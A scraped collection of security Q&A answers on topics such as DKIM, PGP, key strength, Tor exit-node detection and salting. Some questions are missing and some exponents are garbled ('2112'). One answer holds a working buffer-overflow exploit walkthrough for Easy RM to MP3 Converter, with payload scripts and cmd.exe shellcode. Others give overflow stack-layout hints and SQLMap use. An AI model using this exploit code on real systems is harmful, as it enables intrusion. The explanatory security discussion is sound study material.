If it is a known connection(the user has connected to it before) chances are it'll automatically connect to that one and they wouldn't have to enter the password again, but if they'd never connected before, chances are the user will connect to one without a password if they do not know the password to the protected one, because hey, 'free wifi'. Any devices would connect to a wifi connection that they have been connected to before because it will be a trusted connection and wouldn't need to connect to any other wifi, so will ignore any other connections.


Could DKIM be used as a proof that an e-mail was sent by a given party?

The only proof you have with DKIM is that the mail was sent over a specific mail server. You can only conclude that the mail was send by a specific user if

the mail server only accepts mails from this specific user (unlikely)
enforces that the From header in the mail (which is part of the DKIM signature) matches the actual sender of the mail, i.e. no spoofing possible (unlikely too)
the mail account of the user is not compromised so that somebody could use it to send mails in the users name
everything else is secure, i.e. the mail server is not hacked, the DKIM entry in DNS not compromised due to a weak key, compromised key, DNS spoofing or similar.

Thus, a valid DKIM signature helps to narrow down possible senders but taken alone it is far from a proof that a specific user has send this mail.


AS @Schroeder said: YES.

Every data packet can be sniffed anywhere over any network the packet goes through.


I am not a security professional, neither am I smart in this area. However, Cherlynn Low wrote an article that may help. It is called "How to Disable or Enable Cookies on Edge Browser." Here is the link: http://www.laptopmag.com/articles/disable-enable-cookies-edge-browser

Now, my answer to your question. If you are running Windows, then you can can bet that Microsoft is collecting data whenever you are connected to the internet. It may not be personally identifying information, but it does pull from your computer to keep it updated. That said, Edge is related to Microsoft, so while it may not directly "store" other browser information, the parent company does.

Case in point: If you are not using Edge, then it is not directly collecting cookie data. However, it can, but only if you allow it.


Audio Streaming Server associated vulnerabilities

See below example diagram. This way is good because:

Server to which you push stream is not the same as on the public internet, therefore you can make sure it's properly secured, like there's no public access to it so this way you close a lot of exploits associated with pushing streams and other tricks (you need to have publishing streams enabled on this one)
On the edge server you do not need to setup any passwords or any access (like pushing streams), just make point to the origin server where's the source stream
You can then use two edge servers and load balance between with them while using single origin server (DNS can be used to do it)
You got more stability of your audio push in case your edge server gets swamped, loaded etc

You can do it this way:
   - Host two servers (origin and edge) on the same box but different ports
   - Host origin server on the EZStream system and setup port forward on router to static IP address to pull it from there, this method is more stable but requires static IP address
   - On the edge server disable as much as you can and setup limit to max streams like to 100MBps or less for typical VPS
   - If you have static IP address on EZStream system, setup firewall to allow only your EZStream to connect to Origin Server. If you don't have, setup Firewall route for your whole class based on WHOIS (whois your IP address).

This kind of setup is most stable and most secure without much doing. Also keep SELinux on the Centos7 box and eventually add additional rules for IceCast if required (audit2allow). This will guarantee you very high level of security for network daemon. This is highly recommended for IceCast servers.


PGP/GPG: Do I need more encryption subkeys?

However, having multiple encryption subkeys is cumbersome since the person sending a message to me must known which key to use to encrypt their message. Am I correct?

Yes. There is not even a way to couple subkeys to user IDs or any kind of target devices.

  Is it possible to decrypt messages even after the key is revoked?

Yes. Revocation does not "destroy" the private key in any, it just marks the public key as revoked.

  Can I just create new key with my master and send public key to my friends again?

Given you revoked a subkey, the primary/master key stays valid. If you add a new subkey pair, this will have the same validity and trust the revoked subkeky pair had, as both are not assigned to the subkey, but the primary key instead.

On the other hand, revoking the primary key means your friends have to verify the key again, switching to a new primary key pretty much means "starting from scratch".

  And - what is most important - is it possible to decrypt messages with master key or the lost subkey is the only one that can decrypt them?

You can only decrypt messages using the private key it was encrypted for. If a message was encrypted for a subkey, it can only be decrypted using that subkey, the primary key cannot be used for decryption. If it was encrypted for a primary key, you need the private primary key for decryption.

It would well be possible to encrypt for both keys, but encrypting to multiple (sub)keys of a primary key is not common usage of OpenPGP.


Is there any malware capable of updating itself?

Malware that is made to persist on a machine (such as trojans, bots and similar) is mostly provided with update routines.
Most of the cases the malware will enable the master to provide a link to another binary that will then be downloaded and executed.

Since every malware made to "herd" bots is provided with a "download & execute"-Function in some cases this is just an easy step. Download, execute and then kill the main binaries persistence.

It could e.g. look a little like this in the backend: (ignore the fact, that this gaudox is probably old and ugly as f.... ;)


If PGP is 2048 or 4098, then what is 128-bit encryption?

There are two different concepts at play here:

Key Size is the size of a key on disk, measured in bits. For RSA encryption you tend to see key sizes like 2048 bit, 4096 bit, etc. For Elliptic Curve Cryptography (ECC), you tend to see key sized like 224 bit, 256 bit, 384 bit etc. For AES, 128 bit, 256 bit.

Key Strength is a measure of how much computation an attacker needs to do to break your key (ie compute the private key from the public key). In crypto research papers you tend to see sentences like this:

  Breaking an RSA 2048 key requires, on average, 2112 operations.

This key is said to have "112-bit security".

Symmetric block ciphers like AES tend to have the property that the key length is the same as their security level (note that this will no longer be true once quantum computers are here). Here is a table from NIST that shows relative security levels for various RSA and ECC key sizes.

Of course, as mathematical research progresses and we find more efficient ways of attacking the underlying math, the number of bits of security provided by your 2048-bit key will go down.

Why 128-bit security?

For an intuition on how long it would take you to make 2128 guesses at something, check out this youtube video:

How secure is 256 bit security?

Cryptographers like things that have >= 128-bit security because it's comfortably in the "not in my lifetime" category. When something gets below 80 bits of security we start looking for something bigger to replace it with.


What is the security implication of a weak SSH host key?

In short, the Man In The Middle Attack. If the host key is too small and the attacker would be able to factor the number, re-create private key and possibly make a user send his password (or forward public key authentication) and get the access of respective user on that server.

Though we are not there yet and 1024 bits were not yet officially factorized (recently 768 bits were factorized in 2009), but the gap is close and we can expect that there are agencies with similar computation power to factorize 1024 bits or so.


What to do if stuck with website that has poor security?

Financial institutions in the United States are obliged by the Gramm-Leach-Bliley Act to ensure the security and confidentiality of personal information. What you describe is a flagrant violation of the FTC's Safeguards Rule.

I would immediately file a complaint with the FTC.


Why can't my email server automatically identify spoofed addresses?

I think this method would return a lot of false-positives.  One case in particular where you would have false positives is where the sender's organization has their own domain name (senderdomain.com), but they use a third-party hosted outgoing SMTP server (such as their ISP's outgoing SMTP server, or an email hosting company's outgoing SMTP server) to send outgoing mail.  This is very common - especially these days, with many large companies outsourcing their mail to Gmail.  So, in this case, you would have:

•alias: "Joe Sender"
•from: joe.sender@senderdomain.com
•reply-to: joe.sender@senderdomain.com
•Received: smtp.sendersmailprovider.com

As you can see - in this case, the fourth field (where the name of the outgoing SMTP server that the message was sent through appears) contains nothing that matches with any of the information in the other three fields, so the message would be incorrectly flagged as spam according to your logic.

This is why we have message authentication methods such as SPF and DKIM, which rely on information published in the DNS of the sender's domain to enable spam filters to determine (with reasonable certainty) whether or not a message was in fact sent from the sender that appears in the message's headers.

SPF accomplishes this by explicitly specifying the IP addresses (or range of IP addresses) of SMTP servers that mail from the domain will originate from, in the DNS for the domain.

DKIM accomplishes this by digitally signing messages sent from the domain, where the digital signature is written in the message headers and the public key that is used to verify the digital signature is published in the DNS for the domain.

For more info on how both of these methods work, see https://www.ultrasmtp.com/kb/messageauthentication.php.


Why does my IT department block Firefox?

Assuming that you work in the bank industry, this is likely due to their inability to intercept Firefox's traffic.
TLDR:
Due to Firefox's support of DoH and eSNI most banks and regulated industries are resorting to block Firefox because firewalls can't snoop encrypted traffic easily.
On the other hand, if you use chrome, IE or Edge, you can push changes through Active Directory without user's knowledge/consent.
Actually most hardware firewall vendors with DPI have started to recommend enterprise customers to get rid of Firefox because their edge firewall isn't able to intercept FF's traffic anymore.
Note: One can enforce policies on Firefox enterprise, but most privacy conscious users will use FF portable to flout it, hence blocking is easier.

https://live.paloaltonetworks.com/t5/blogs/protecting-organizations-in-a-world-of-doh-and-dot/bc-p/319542
https://www.venafi.com/blog/fight-over-dns-over-https
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk98025


How to leak an email without revealing my identity?

Do:

Use a private computer
Use a VPN (Tor if you prefer.)
Create a new yahoo account (using the VPN)
Copy and past the body of the email
Send
Close the yahoo account.

Do NOT:

Use the university's internet
Use a university computer
Forward the email.
I repeat. Do NOT "forward" the email.

The final do not is most important. The email sent to you has a header. The header contains to: and from: information plus a few other things it sounds like you don't want to reveal. Once you have sent the email, never login to that account again, it's best if the account is closed.


If I write 40 characters to the username, then the for loop overwrites one byte of the message length field.

You are right. This seems the key for the explotation here.

  If the username is very long, then part of the tweet field is overwritten and the user input for fgets on line 58 is skipped and the tweet is no longer empty (this is the part I can't seem to understand). In set_tweet, the memory is zeroed at the start anyway, so if there was old data there, how could it not be erased?

This is indeed unintuitive, and we need to dive into the way stdio works in order to explain it.

When we call fgets(readbuf, 128, stdin); (as in line 74), fgets reads from stdin into readbuf until it reaches a newline or 127 characters. However, when you write 128 or more characters (ie. at least 127 characters before a newline), the rest are kept in the stdin buffer, and extracted when calling fgets on line 58. That's why it doesn't need to ask the user again.

Suppose our username input is 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567\n

After line 74 readbuf will be 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456

and on reaching line 58, readbuf will be set to 7\n.

  If I could overwrite more than 1 byte of the message length of the struct, I could transfer more of the large readbuf into tweet and overrun that structure into other memory. Test compilation with 41 instead of 40 in the for loop confirms this.

Well, you can only write up to 255 bytes :)

However, that's enough for explotaition. Note that sizeof(struct savestate) = 184, and after save the stack contains ebx, the old ebp, and ret.

The stack layout at handle_tweet seems to be like this:

0xffffd840  <local2>
0xffffd844  <local1>
0xffffd848  <save>  aka. ebp-0xc0
0xffffd904  <old ebx>
0xffffd908  <old ebp>  current ebp points here
0xffffd90c  <return address>
0xffffd910  previous stack location

Good luck!


What does HP DriveLock do to your password?

DriveLock is used along with Self-Encrypting Drives (SEDs).


Rotating encryption keys - how does it work?

In layman's terms, rotating an encryption key implies:

Generate new key(s)
Re-encrypt all data that was encrypted using the old key, using new key(s)
Delete old encrypted data and old encrypted key

Key rotation generally applies to data that is encrypted at rest, as opposed to something like TLS, because it reflects the need to deal with all the old stuff that's still encrypted with the old key.


Recommendation for implementing encrypted MySQL database

Potential problems -

You have to ensure you use SSL - otherwise the keys are sent in plaintext.
Your code is going to be littered with encrypt/decrypt calls. There is also the overhead of injecting in the key and sending it every time - if the network is your bottleneck then you could have majorly reduced capacity.
The keys have to be in the web application and are constantly sent to the DB server. This means two points of failure instead of one.
This relies on developers being vigilant. If at any point someone adds in a method which sends/receives data without the calls then its going to sit there in plaintext.
Some data may not be possible to encrypt this way without crippling the DB performance since it can no longer look at values directly or store them in a logical order.
Debugging becomes much much harder. Querying the DB to look at what is stored there is no longer trivial.

  I thinking that it would be trivial to re-encrypt all values with a new passphrase

How much data do you expect to have? "Trivial" often doesn't scale. This might involve taking your entire system offline for an extended period of time.


Are you able to replay the request in burp? (Send To Repeater => Go)

If so the easy way to get this into SQLMap is to use the CO2 extension which adds "Send to SQLMap" in the right-click menu this gives you the command-line to give to SQLMap with all your cookies and any data in the request.


Is there readily available encryption algorithms for current computers, that is safe from quantum computers?

The answers to the linked question give a very good overview of why quantum computers break modern encryption schemes (RSA and Elliptic Curve Cryptography (ECC)), but not how to mitigate against it.

Summary: expect it to take until ~2020 to work the kinks out of post-quantum algorithms - Use AES-256 for now!

As mentioned in Thomas Pornin's answer to the linked question, AES-256 gets a gold star for being quantum resistant. So, for the time being the best thing you can do is to encrypt your data with AES-256 and be really really careful with the key (keep it on a separate drive from the data, stored in a separate location, etc).

My personal opinion is that there's going to be a bit of a gap between when people stop trusting RSA and ECC and start trusting post-quantum encryption for long-term data storage. During that gap I suspect we're going to go back to physically mailing AES keys in tamper-proof envelopes.

I attended the recent PQCrypto2016 conference in February 2016, during which it was clear that this work is still in its infancy with a lot of basic mathematical research still to be done on post-quantum encryption. Post-quantum signatures are much more mature, but since your question is about encryption, I'll stick to that. At the conference, professor Steven Galbraith said that virtually every week a new weakness is found in one of the leading schemes, and a new variant is proposed to address this. So we want to give the mathematicians a few more years before we write any software that we trust.

The holy grail is to find a quantum-resistant encryption scheme that is a drop-in replacement for RSA, ECC, and the Diffie-Hellman key exchange. The problem with the current slew of proposed algorithms is that they are either very slow or have very large keys, very large cipher texts, or all three! (By "very large keys" I mean 4 - 10 megabytes, compared to a 2048 or 3072 bit RSA key, or a 233 or 283 bit ECC key).

NIST Competition

At the conference, NIST announced a competition for post-quantum crypto algorithms that will lead to new standards. Submissions were accepted Jan-Nov 2017, resulting in 60-70 entries.

These submissions from NIST must be accompanied by sample code in C, and must waive any patent or usage rights, so I imagine some of the open-source crypto libraries will start incorporating them pretty quickly as "experimental". At that point you should be able to protect your data with a quantum-safe algorithm - and don't worry, quantum computers aren't nearly mature enough for the NSA to have one, so your RSA-protected data is just fine for the time being.

That said, this probably won't quite satisfy your

  I want my data to be secure 50-100 years from now

since these algorithms will go through rapid evolution as new weaknesses are found, and optimizations are invented, so data you encrypt with an experimental algorithm in 2018 will probably not be decryptable by whatever variant we end up standardizing at the end of all this research.

OpenSSL and Bouncy Castle today

According to the cipher lists for OpenSSL and Bouncy Castle, neither of them currently support any quantum-resistant ciphers. Bouncy Castle tends to be pretty quick to implement new things, so we may see them try some of the experimental algorithms from the NIST competition within the next 12 months.


How do researchers "gain control of an attacking PC" and not themselves be considered attackers / criminals?

C6C server are often servers that got hacked, not servers rented by the attacker.

Security support contracts

For public organisations there are often CERTs (computer emergency response team) responsible for them. For example there is the DFN Cert for all Germany universities. Large companies tend to have support contracts with companies specialized in security.

So after the security breach is noticed, the server may be turned over to the security organisation in order to do forensics: Learn how the attacker got in, try to estimate what damage they caused, to what data they had access, etc. Knowing the damage as good as possible, may be especially important in order to defend against being sued by customers.

This is the most common case. The wording is very similar to what our CERT said when they got handed a C&C server by an university some time ago: "The CERT gained access to a command and control server which collected a list of web addresses, usernames and passwords. As the domain of the following entries is within your responsibility please inform your users with the following account names that their computer is infected".

The security organisations obviously need to prevent drawing attention to their customers because it implies that the customer got successfully attacked.

Other means

The C&C might have been a honeypot, a server dedicated to being attacked. I think this is unlikely because it is said that the c&c server was active for years.

There might have been a court order to seizure the server. But if that was the case and the security company was called as expert witness, they would probably not be allowed to got the public.

The security company might have gotten unauthorized access. I consider this extremely unlikely because of the huge legal risk involved.

tl;dr

The company. which unwillingly hosted the C&C. most likely handed it over to their security consultants for damage assessment.


If you are using a simple passphrase-based approach, then your encryption is at most as secure as your passphrase. And even if you are using a long passphrase, your encryption is at most as secure as the key derivation function used to get from the passphrase to the actual key. Openssl uses a simple MD5 hash to generate the key, which has two drawbacks:

It limits your effective key length to 128 bits, so even with a long passphrase, there is not point in using AES-256 over AES-128.
Its security from collision attacks is in doubt. Now whether this is a problem for a simple file encryption scheme i don't know.

The weakest link will be the passphrase itself though. How long does it have to be? Well the better question is: how much entropy does it need? This question can only be realistically answered if the passphrase is randomly created. Take as an example diceware: here each word in the passphrase has 12.9 bits of entropy, meaning that an attacker has to try all 7776 words in the diceware dictionary to decrypt the file (well, yes, statistically, the attacker will succeed after half that number). A five word diceware passphrase gives you about 64 bits, a ten word passphrase about 129 bits of entropy. This means that you need a ten word passphrase to have the MD5 hash of openssl cut entropy off, and shows how much weaker than the other links the passphrase usually is.


Does having a salted password hash make cracking an unsalted hash of the same password easier?

If you are storing the hashes of multiple passwords with the same salt, you are defeating the purpose of using a salt. The salt must be unique for each and every password, otherwise an attacker could compute H(password || salt) just once for each candidate password, and compare the resulting digest against every hash in your database, because they all use the same salt.

Also, as mentioned in the comments, you seem to be confusing the cost parameter for something else. The "10" specifies how much computation the bcrypt operation will take. A larger value increases the cost for attackers by making the operation more computationally expensive.

If you want to check for duplicate passwords, you don't need to come up with some homebrew scheme like this. If you really want, you can take the supplied password, concatenate it with the salt of the first user and hash it, and compare it against the stored hash. If it does not match, do the same for the second user, and so on. This does mean that each new password that is set will require walking through the entire database, but it will detect passwords that are exact duplicates.


Detecting Tor proxy by reading request headers

Tor simply repeats requests as an anonymous transparent HTTP proxy, meaning it does not attach typical proxy headers (such as Via or X-Forwarded-For), or in any other way  modify HTTP requests or responses (besides being "onion routed, encrypted and decrypted" through the Tor network).

As for identifying clients connecting through Tor network, the easiest to detect such clients on the web server end is to query the public TorDNSEL service that publishes Tor exit nodes:

  TorDNSEL is an active testing, DNS-based list of Tor exit nodes. Since
  Tor supports exit policies, a network service's Tor exit list is a
  function of its IP address and port. Unlike with traditional DNSxLs,
  services need to provide that information in their queries.

  Previous DNSELs scraped Tor's network directory for exit node IP
  addresses, but this method fails to list nodes that don't advertise
  their exit address in the directory. TorDNSEL actively tests through
  these nodes to provide a more accurate list.

This TorDNSEL querying can be automated e.g. in your web application, and example code in many programming languages can be found on the Internet. For example, here is some sample code demonstrating how to do that in PHP.

If you're going to implement this Tor checking in your web application, then I recommend you cache query results locally for some time it's reasonable to expect the exit nodes didn't change in the meantime, not to constantly repeat same queries and add an additional lag to your responses.

Edit to add: One more way to optimize this Tor exit node querying and avoid using TorDNSEL all the time is to do a reverse DNS lookup beforehand, and try and match it against a list of major known Tor exit node hosts. This can be actually quite effective, as a lot of major exit node hosts never change and they can operate a large number of exit nodes all using same or similar rDNS names. For example, you could try matching rDNS names to your list using regular expressions, LIKE SQL operator, or similar. Some of the known Tor exit node hosts (real examples) will match these names:

tor[0-9].*
tor-exit*
*.torservers.*
*.torland.is

This is the list that I'm using. As you see, it's far from being complete, but it is a start and you can always add more entries as you detect them to follow an easily matched pattern. As it is meant to merely optimize querying, it doesn't really need to be complete, but each match will most certainly speed things up. Hope this helps!


Can my identity be revealed through WiFi access?

Knowing your identity, John Doe, and your device information are two separate things. They will likely know your IP address (that was assigned you), and your device/MAC address but that doesn't necessarily translate to John Doe unless there is some other information to connect the dots.

If you are connecting to a wifi that you had to sign up for (and say, accept a Terms of Service), then there will likely be a log in their system of who you said you were when you signed up and will tie that back to the IP address that was assigned your device when you connected.

That's not to say that there aren't ways of correlating & collecting more info that would aid in determining identity but we don't know enough about the network in question to say.


If you have this Y-problem,

  it is wrong to return a 404 when the resource does not exist because this helps to enumerate the existing resources.

then this means you have this X-problem:

Resource enumeration should be prevented.

This in turn might affect all resources or unauthenticated resources only. In other words you might be able to mitigate the problem by requiring authentication before asking for a given resource.

Otherwise, you could make said resource difficult to guess, and implement some kind of scanner detection (simply storing what resources get 404'ed by which network for some time could be enough. You could perhaps offload the problem to an installation of fail2ban).

The problem as stated makes little sense because you cannot return a valid resource if an invalid one was requested - in general, you can't make up sensible, believable resources out of thin air! So there will always be a way to distinguish between resources that exist and resources that don't. Granted, supplying the information in a HTTP status header makes things simpler for the attacker, but it also makes things easier for you.

In some cases you might be able to synthesize a nonexisting resource. For example say you offer something akin to an avatar service. Then /users/lserni/avatar.png could return my picture, while /users/someoneelse/avatar.png could return a random picture generated using "someoneelse" as random seed, so that the same someone else always gets the same PNG back. But as you see, this kind of approach requires specific domain knowledge, there can't be a one-size-fits-all rule.


Do you rather trust a widely adopted algorithm or an underdog if they're cryptoanalytically on a level playingfield?

Trust the widely accepted algorithm.
Not because the algorithm is better. Well, it does matter: if an algorithm is too much of an underdog, it won't have had enough scrutiny and so there's no reason to trust it. But mainly because comparing algorithms, as long as they're reasonably reputable, is meaningless: they're fine and that's it. It's not the algorithm that kills you, it's the implementation.
With a widely-used algorithm, you get a better selection of implementations, and the implementations themselves have better scrutiny. That's the important thing. So don't use an underdog for which there's only one or two implementations and nobody really looks at their code. Use a popular implementation of a popular algorithm. Popular AES implementations receive more scrutiny than those of any other block cipher. Among ciphers, only ChaCha20 receives as much scrutiny.
This is true especially if you're worried about NSA-level adversaries. We have some historical data about NSA's capabilities. We know that when they advised on the design of DES, they made it more robust to an attack technique that wasn't publicly known at the time (differential cryptanalysis), and vulnerable only to brute force with a budget that they didn't have, but were confident of reaching before anyone else. We know that when GCHQ invented Diffie-Hellman, it was rediscovered publicly less than a decade later. We know from the Snowden revelations that in the early 2010s, NSA couldn't break popular encryption primitives, but could effectively break most software due to implementation bugs.


I think you should only create/change the token on every user login. If you change the token mid-session, it will invalidate all the links the user could have opened on new windows. And you will have lots of confused users.

If you think about it, there's no addition to security by changing the token. If any attacker cannot guess the first tag, s/he will not be able to guess the new one. If the first token is guessable, any other token will be too.


What threats are mitigated in drives encrypted by USB-SATA bridge?

Having the drive pre-encrypted with the key stored on the drive or controller makes it faster if they want to later properly encrypt it - you just encrypt the key with the password, rather than having to encrypt the whole drive.

This means it's a ten-second process rather than several hours.


How does one verify that a Python script is a pure math function?

I'm afraid this is not possible. After all, your problem boils down to asking "is this code malicious?", and it we could reliably answer this question then malware would no longer exist.

You could mitigate this issue by allowing users to build their script using a set of allowed functions which you consider as safe (even though nothing is totally safe and there may be bugs in those functions that allow to do evil stuff) and only allow certain arguments (integers and references to previously defined variables) to further complicate an attacker's task (they can't just pass a string to a vulnerable function, yet another thing they need to work around). Of course you'll need to do all this validation server side, don't rely on client-side Javascript to enforce this.

Another option would be to accept any code (with a reasonable size limit) and running it in a VM with no network access and that can only communicate with the host through an emulated serial port to get the data and return its result (you can provide helper functions in your environment like get_input and set_output that would internally use the serial port to communicate with the host. You could make that even safer by running the VMs on physically separate machines that are considered untrusted and themselves only have a serial port to talk to the outside world. That way even if they do get exploited the attacker will have a hard time making any use of them.


Why is fnstenv giving me a NULL address in my shellcode on Windows XP?

Let's reverse engineer what happened:

Access violation because you try to access 0x00000018
Because POP EAX loads register zero
It supposed to be FPULastInstructionOpcode according to this x86 instruction set reference

But, look at your ESP value it is starting point of your shellcode. Why? Because you cannot write before that address. On the other hand you use [esp-0Ch] for storing FPU environment.

I tried to run your version and get different error:

Also I tried Corelan version that didn't work either. As you can see things been more complicated in my version.

I can't debug your version of exploit, however I can show you step by step constructing exploit to this vulnerability. I'm using Easy RM to MP3 Converter 2.7.3.700 (setup 2.8 MiB) from this Exploit Database page  on my Windows XP Professional SP3 Turkish. First, i created 30000 characters long Mona.py pattern. Attach RM2MP3Converter.exe to Immunity Debugger and loaded our crafted sploit.m3u file.

Using Python script pattern.py we can find EIP offset now *:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064

Lets look where ESP points in stack:

You can either use 0Hl1 or hex value:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x316C4830 30000
hex pattern decoded as: 0Hl1
5792
26072

Lets check our findings:

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Crash values confirms our pre-exploit:

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Now we need to find JMP ESP in an executable segment. Use this Mona.py command:

!mona find -type instr -s "JMP ESP" -x X

from struct import pack

filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Thanks to Mona.py we found lots of "jmp esp" in OS libraries. Pick first one at 0x77fab277 address.

000FFD38   CCCCCCCC  ÌÌÌÌ
000FFD3C   00000000  ....
000FFD40   00BC004C  L.¼.
000FFD44   00104A58  XJ.
000FFD48   00000000  ....
000FFD4C   00000000  ....
000FFD50   42424242  BBBB
000FFD54   41414141  AAAA
000FFD58   41414141  AAAA

It hits our interrupt sequence where ESP points out. With little bit more trick we can land our shellcode with additional ADD AH, CL

This is our Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

After a long debugging session we get:

Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35

payload = junk1 + shellcode + junk2 + s_eip + junk3

with open(filename, "wb") as file:
    file.write(payload)

Different than Corelan and this Exploit-db version. You can find shellcode here.

We use double "F" to emulate a harmless instruction with remains of data in stack
Eight "B" is for remainder, it didn't seem like it is written in anywhere.
junk3 is written before shellcode you can use it jumping over data remains.

*Mona only finds first occurrence of sequence.


Security implication of telling the user they can't login because of too many attempts from IP

Absolutely do not message end user telling them why login failed. You are giving a potential attacker critical information to aid them in attacking you application.

On the other hand, not telling a user why their login failed is a potential usability disaster.

If you don't clarify whether the user's IP was banned or the user instead used a wrong password, they might panic since it seems to them that someone accessed their account and changed the password to lock them out. If my login with a pre-filled password fails, the first thing I'm thinking of is a break-in rather than an IP block.

Also, a naive IP blocking mechanism might be ineffective and introduce additional problems. It is potentially trivial to bypass for an attacker with sufficient resources and someone who shares an IP address with other users might abuse the IP ban to lock out others. Instead, a CAPTCHA after n failed attempts per IP might be a softer solution and more appropriate for your application.

Also see:

Is it good practice to ban an IP address if too many login attempts are made from it?
Why do people use IP address bans when IP addresses often change?


For a detailed description it is best you refer to the RFC, as suggested before. There are simplifying overviews, like this picture. Another helpful post might be this. The crucial point that misses in your description is that the key derived from SSID and PSK is known as "Pairwise Master Key". This is not the actual key that is used for the encryption. Instead, you can use it to compute a secret session key without passing the session key on the wire. That is what the ANounce and SNounce are used for. Then, by sending encrypted messages in step 3 and 4 AP and station prove to each other they know the PMK.

If you share a secret with someone you can always use this to authenticate to each other and compute a session key. You simply generate a bit random number, send it to your partner (encrypted with the secret). The partner decrypts it, increments by one and sends the message back (again, encrypted). Then you verify what you get is what you sent plus one.Similar for generation of a session key. Both parties generate a random value, exchange it. Session key could be HMAC(random1+random2+secret). Even if an eavesdropper knows random1+2 he cannot generate the key because he doesn't know the secret.


Technically, your solution is pretty similar to CGS97 (note the date) which is the base of Helios and its descendants. As a general approach it's very reasonable, but completely lacking wrt to preventing vote-selling and bribery/threats (Receipt Freeness and Coercion Resistance in the literature):

Lack of RF example: Suppose I promise to give you $100 if you vote for my candidate, and show me the randomness you used (i.e. a receipt) to encrypt your vote as proof. This is a known issue with textbook Helios (mentioned in the original paper) which is fixed in various degrees in later works.

Your suggestion to use a blockchain to implement the bulletin board is reasonable but I would argue people active in the area are aware.

There are a few more issues with your solution:

It's trivial to copy other People's votes. This is considered to be bad for privacy. Malleability attacks as well.
Requiring that a person's ballot sums up to one is not adequate. Suppose I give -100 votes to candidate X and +101 votes to candidate Y.
Combining the above, take all posted the votes on the board and add them up. Let's say there are n of them. Invert the sum. That will produce a ballot summing up to -n. Add n+1 votes to your candidate. You now have a ballot that negates all the previous ballots and moves all their votes to your candidate.
Most of the above is solved with Zero Knowledge protocols demonstrating the individual parts of the ballot are 0/1 in addition to summing up to 1, plus some non-malleability requirements.
Having the authorities decrypt a mini-sum for every voter can be inefficient. Also, how do you verify they behaved correctly? If your answer is ZK, why not move that to the voter?
When you talk about salts and encryption, I think you mean IND-CPA. You probably need NM-CPA though (also take a look at IND-CCA, but it's not strictly necessary).

Going back to big picture stuff, we also want to consider voting from compromised PCs, having an verification process that people can and will follow, the fact that elections would attract state-sponsored adversaries, and the fact that a do-over in case of failure would be extremely costly (in terms of public trust as well as $$$).

TL;DR: There is extensive literature in the area (both in-booth and internet), but it's also a very hard problem.


Why is a .jar signature still valid if a file has been added to the jar?

From my reading of this, yes, an attacker could insert malicious code into the jar. However, unless there is a code in the signed part of the that that tries to load the malicious file, the malicious file is just there inert and unable to do anything meaningful.

  Errors and Warnings

  During the signing or verifying process, the jarsigner command may issue various errors or warnings.

  If there is a failure, the jarsigner command exits with code 1. If there is no failure, but there are one or more severe warnings, the jarsigner command exits with code 0 when the -strict option is not specified, or exits with the OR-value of the warning codes when the -strict is specified. If there is only informational warnings or no warning at all, the command always exits with code 0.

  ...

  Severe Warnings

  Note: Severe warnings are reported as errors if you specify the -strict option.

  Reasons why the jarsigner command issues a severe warning include the certificate used to sign the JAR file has an error or the signed JAR file has other problems.

  ...

  hasUnsignedEntry
     Code 16. This jar contains unsigned entries which have not been integrity-checked.

  ...

In any case, if you look at all the other possible severe warnings in the documentation, it becomes quite obvious that doing --verify without --strict is pretty much useless for scripting uses.


I see the empty set as being excluded from the dominance expression:

for write up,

confidential < TS, write up is possible subject to:
{research and accounting} is incommensurable with the empty set, write fails
research and research are equal, write succeeds

for read down,

confidential < TS, read down is possible, under the same conditions

With Trusted Solaris, I don't think you can create a container without a level and at least one category.

I'm not so sure about users, I vaguely remember accidentally creating one who was utterly powerless (;-)) and it probably was for lack of a category.


Encryption of settings/credentials in mobile apps - what threats does this protect against?

The problem with hardcoded keys is that you can find them (as you did).  As you've stated encryption and decryption of the data is trivial.  Android's process isolation is solid (not perfect), but does provide a good degree of separation between applications.

There are three scenarios that I can think of that a threat could take advantage.

Malicious Android App w/ Root
Physical compromise of the phone
App Has Full Access to its data

There are lot of apps and 3rd party apps out there that require root to perform all of its functionality.  If your phone is rooted and you download a malicious app then the process isolation won't make a difference.  The private data can be read, decrypted, and ex-filtrated.

If your phone is stolen the same thing can occur.  An exploit can be used to root the phone, and download the private app data.  With the hardcoded keys the data can be decrypted.

This is not to say that this is trivial to perform.  The lock on your phone will (hopefully) force the attacker root the phone over USB.  I don't know the specifics of all methods to reset a phone, but I believe most of them will remove any useful data from the phone.  As an paranoid Android user I would avoid using the apps that I know have hardcoded keys, but if I wasn't paranoid I might not care as much.  The level of effort to perform the exploitation is pretty high.  They want to go through all that trouble to see my Candy Crush score... go for it1.

The third scenario is probably more concerning.  If they use hardcoded keys what's stopping the App owner themselves from sending the sensitive information (could be encrypted) to their own private server.  They know the hardcoded key, so they can just decrypt at will your data.

